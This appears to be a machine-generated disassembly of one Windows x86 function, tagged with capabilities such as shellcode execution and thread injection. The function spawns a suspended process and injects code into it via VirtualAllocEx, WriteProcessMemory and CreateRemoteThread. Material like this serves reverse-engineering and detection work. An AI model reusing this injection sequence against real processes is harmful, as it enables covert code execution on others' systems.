Function at 0x4023d0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Set registry value
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x41ea56
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x178
push ebx
push ebp
push esi
push edi
call fcn.00417770
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x28], eax
xor ebp, ebp
mov dword [esp + 0x190], ebp
call fcn.00417770
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
push str.SDD_ERR_LOG
mov dword [esp + 0x30], eax
call fcn.00408345
add esp, 4
mov dword [esp + 0x190], 1
xor eax, eax
jmp 0x402440
mov cl, byte [eax + 0x4280b0]
mov byte [eax + 0x429b80], cl
inc eax
test cl, cl
jne 0x402440
xor eax, eax
mov cl, byte [eax + 0x4281b8]
mov byte [eax + 0x429c84], cl
inc eax
test cl, cl
jne 0x402453
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x4207d4
push esi
call edi
push 0x4207c4
push esi
mov dword [0x429d88], eax
call edi
push str.ResumeThread
push esi
mov dword [0x429d8c], eax
call edi
push 0x4207a0
push esi
mov dword [0x429d90], eax
call edi
mov ecx, dword [0x420794]
mov edx, dword [0x420798]
mov dword [0x429d94], eax
mov eax, dword [str.advapi32.dll]
mov dword [0x429d98], eax
mov al, byte [0x42079c]
mov dword [0x429d9c], ecx
mov ecx, dword [0x420780]
mov byte [0x429da4], al
mov eax, dword [0x420788]
mov dword [0x429da0], edx
mov edx, dword [0x420784]
mov dword [0x429fa0], ecx
mov ecx, dword [0x42078c]
mov dword [0x429fa8], eax
mov eax, dword [0x42076c]
mov dword [0x429fa4], edx
mov edx, dword [0x420768]
mov dword [0x429fac], ecx
mov ecx, dword [0x420770]
mov dword [0x429ea0], eax
mov eax, dword [0x420778]
mov dword [0x429e9c], edx
mov edx, dword [0x420774]
mov dword [0x429ea4], ecx
mov cl, byte [0x42077c]
mov dword [0x429eac], eax
mov dword [0x429ea8], edx
mov byte [0x429eb0], cl
xor eax, eax
jmp 0x402550
mov cl, byte [eax + 0x42a1b8]
mov byte [esp + eax + 0x40], cl
inc eax
test cl, cl
jne 0x402550
lea edi, [esp + 0x40]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402564
mov dx, word [0x420764]
mov eax, dword [esp + 0x198]
mov word [edi], dx
mov edx, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402580
lea edi, [esp + 0x40]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402590
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [0x42a7e4]
and ecx, 3
cmp eax, ebp
rep movsb byte es:[edi], byte [esi]
je 0x4025c5
push ebp
push str.DEBUG_injextexe__:cmdline
lea eax, [esp + 0x48]
push eax
push ebp
call ebx
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x144]
rep stosd dword es:[edi], eax
cmp dword [0x42a7e4], ebp
mov dword [esp + 0x144], 0x44
mov dword [esp + 0x10], ebp
je 0x4025fa
push ebp
push str.DEBUG_Info_cleanup:cmdline
lea ecx, [esp + 0x48]
push ecx
push ebp
call ebx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x148]
push eax
push ebp
push ebp
push 4
push ebp
push ebp
push ebp
lea ecx, [esp + 0x60]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, ebp
jne 0x402692
lea edx, [esp + 0x40]
push edx
push str.Cant_Create_Process
push str._s__s
push 0x42a82c
call fcn.00401f40
mov eax, dword [0x42a828]
add esp, 0x10
cmp eax, ebp
je 0x402667
push 2
push eax
call fcn.00408384
add esp, 8
cmp eax, 0xffffffff
jne 0x402667
mov eax, dword [0x42a82c]
push ebp
push str.Error
push eax
push ebp
call ebx
jmp 0x402a9e
mov eax, dword [0x42a82c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x14], esp
mov esi, esp
push eax
call fcn.00401420
add eax, 0x10
add esp, 4
lea ecx, [esp + 0x2c]
mov dword [esi], eax
call fcn.00406400
jmp 0x402a9e
cmp dword [0x42a7e4], ebp
je 0x4026a8
push ebp
push str.DEBUG_Info_cleanup:cmdline
push str.About_to_create_duplicate_handle
push ebp
call ebx
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
push ebp
push ebp
push 0x1f0fff
lea eax, [esp + 0x44]
push eax
push ecx
push edx
mov dword [esp + 0x50], ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp eax, ebp
jne 0x402748
lea eax, [esp + 0x40]
push eax
push str.Cant_Dup_Handle
push str._s__s
push 0x42a82c
call fcn.00401f40
mov eax, dword [0x42a828]
add esp, 0x10
cmp eax, ebp
je 0x40271d
push 2
push eax
call fcn.00408384
add esp, 8
cmp eax, 0xffffffff
jne 0x40271d
mov ecx, dword [0x42a82c]
push ebp
push str.Error
push ecx
push ebp
call ebx
jmp 0x40299e
mov eax, dword [0x42a82c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x14], esp
mov esi, esp
push eax
call fcn.00401420
add eax, 0x10
add esp, 4
lea ecx, [esp + 0x2c]
mov dword [esi], eax
call fcn.00406400
jmp 0x40299e
cmp dword [0x42a7e4], ebp
je 0x40275e
push ebp
push str.DEBUG_Info_cleanup:cmdline
push str.after_create_DuplicateHandle
push ebp
call ebx
mov eax, dword [0x42a7e4]
mov edx, dword [esp + 0x38]
mov esi, 0x401110
sub esi, 0x401040
cmp eax, ebp
mov dword [0x42a0a4], edx
je 0x40278a
push ebp
push str.DEBUG_Info_cleanup:cmdline
push str.before_create_VirtualAllocEx
push ebp
call ebx
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
push esi
push ebp
push eax
call edi
mov ebp, eax
test ebp, ebp
jne 0x402817
lea ecx, [esp + 0x40]
push ecx
push str.Allocate_code_memory_in_process
push str._s__s
push 0x42a82c
call fcn.00401f40
mov eax, dword [0x42a828]
add esp, 0x10
test eax, eax
je 0x4027f4
push 2
push eax
call fcn.00408384
add esp, 8
cmp eax, 0xffffffff
jne 0x4027f4
mov edx, dword [0x42a82c]
push ebp
push str.Error
push edx
push ebp
call ebx
mov edi, dword [esp + 0x10]
jmp 0x402972
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x42a82c
call fcn.004016c0
lea ecx, [esp + 0x2c]
call fcn.00406400
mov edi, dword [esp + 0x10]
jmp 0x402972
mov eax, dword [esp + 0x18]
push 0x40
push 0x1000
push 0x528
push 0
push eax
call edi
mov edi, eax
test edi, edi
jne 0x402884
lea ecx, [esp + 0x40]
push ecx
push str.Allocate_data_memory_in_process
push str._s__s
push 0x42a82c
call fcn.00401f40
mov eax, dword [0x42a828]
add esp, 0x10
test eax, eax
je 0x402958
push 2
push eax
call fcn.00408384
add esp, 8
cmp eax, 0xffffffff
jne 0x402958
mov edx, dword [0x42a82c]
push edi
push str.Error
push edx
push edi
call ebx
jmp 0x402972
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x3c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x401040
push ebp
push ecx
call esi
test eax, eax
jne 0x4028f0
lea edx, [esp + 0x40]
push edx
push str.Cant_Write_code_to_Process_Memory
push str._s__s
push 0x42a82c
call fcn.00401f40
mov eax, dword [0x42a828]
add esp, 0x10
test eax, eax
je 0x402958
push 2
push eax
call fcn.00408384
add esp, 8
cmp eax, 0xffffffff
jne 0x402958
mov eax, dword [0x42a82c]
push 0
push str.Error
push eax
push 0
call ebx
jmp 0x402972
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x3c]
push ecx
push 0x528
push 0x429b80
push edi
push edx
call esi
test eax, eax
jne 0x4029c8
lea eax, [esp + 0x40]
push eax
push str.Cant_Write_data_to_Process_Memory
push str._s__s
push 0x42a82c
call fcn.00401f40
mov eax, dword [0x42a828]
add esp, 0x10
test eax, eax
je 0x402958
push 2
push eax
call fcn.00408384
add esp, 8
cmp eax, 0xffffffff
jne 0x402958
mov ecx, dword [0x42a82c]
push 0
push str.Error
push ecx
push 0
call ebx
jmp 0x402972
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x42a82c
call fcn.004016c0
lea ecx, [esp + 0x2c]
call fcn.00406400
test ebp, ebp
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
je 0x40298b
mov edx, dword [esp + 0x18]
push 0x8000
push 0
push ebp
push edx
call esi
test edi, edi
je 0x40299e
mov eax, dword [esp + 0x18]
push 0x8000
push 0
push edi
push eax
call esi
mov ecx, dword [esp + 0x18]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push edx
call esi
mov eax, dword [esp + 0x1c]
push 0xffffffffffffffff
push eax
call esi
jmp 0x402a9e
call fcn.00402170
mov eax, dword [0x42a7e4]
test eax, eax
je 0x4029ff
push 0
push str.DEBUG_Info_cleanup:cmdline
push str.After_CreateAtlRegistrar___before_CreateRemoteThread
push 0
call ebx
mov eax, dword [0x42a7e4]
test eax, eax
je 0x4029ff
push 0
push str.DEBUG_Info_cleanup:cmdline
push str.About_to_create_CreateRemoteThread
push 0
call ebx
mov eax, dword [esp + 0x18]
push 0
push 0
push edi
push ebp
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x42a7e4]
test eax, eax
je 0x402a35
push 0
push str.DEBUG_Info_cleanup:cmdline
push str.Afer_CreateRemoteThread_before_WaitForSingleObject_pi.hThread
push 0
call ebx
mov ecx, dword [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push ecx
call ebp
mov edx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
mov dword [esp + 0x40], eax
call esi
mov eax, dword [esp + 0x18]
push eax
call esi
mov eax, dword [0x42a7e4]
test eax, eax
je 0x402a75
push 0
push str.DEBUG_Info_cleanup:cmdline
push str.before_WaitForSingleObject_ht
push 0
call ebx
push 0x2710
push edi
call ebp
push edi
call esi
mov eax, dword [0x42a7e4]
test eax, eax
je 0x402a99
push 0
push str.DEBUG_Info_cleanup:cmdline
push str.before_DeleteAtlRegistrar
push 0
call ebx
call fcn.00401120
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov dword [esp + 0x190], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402ac7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402ae5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x188]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x184
ret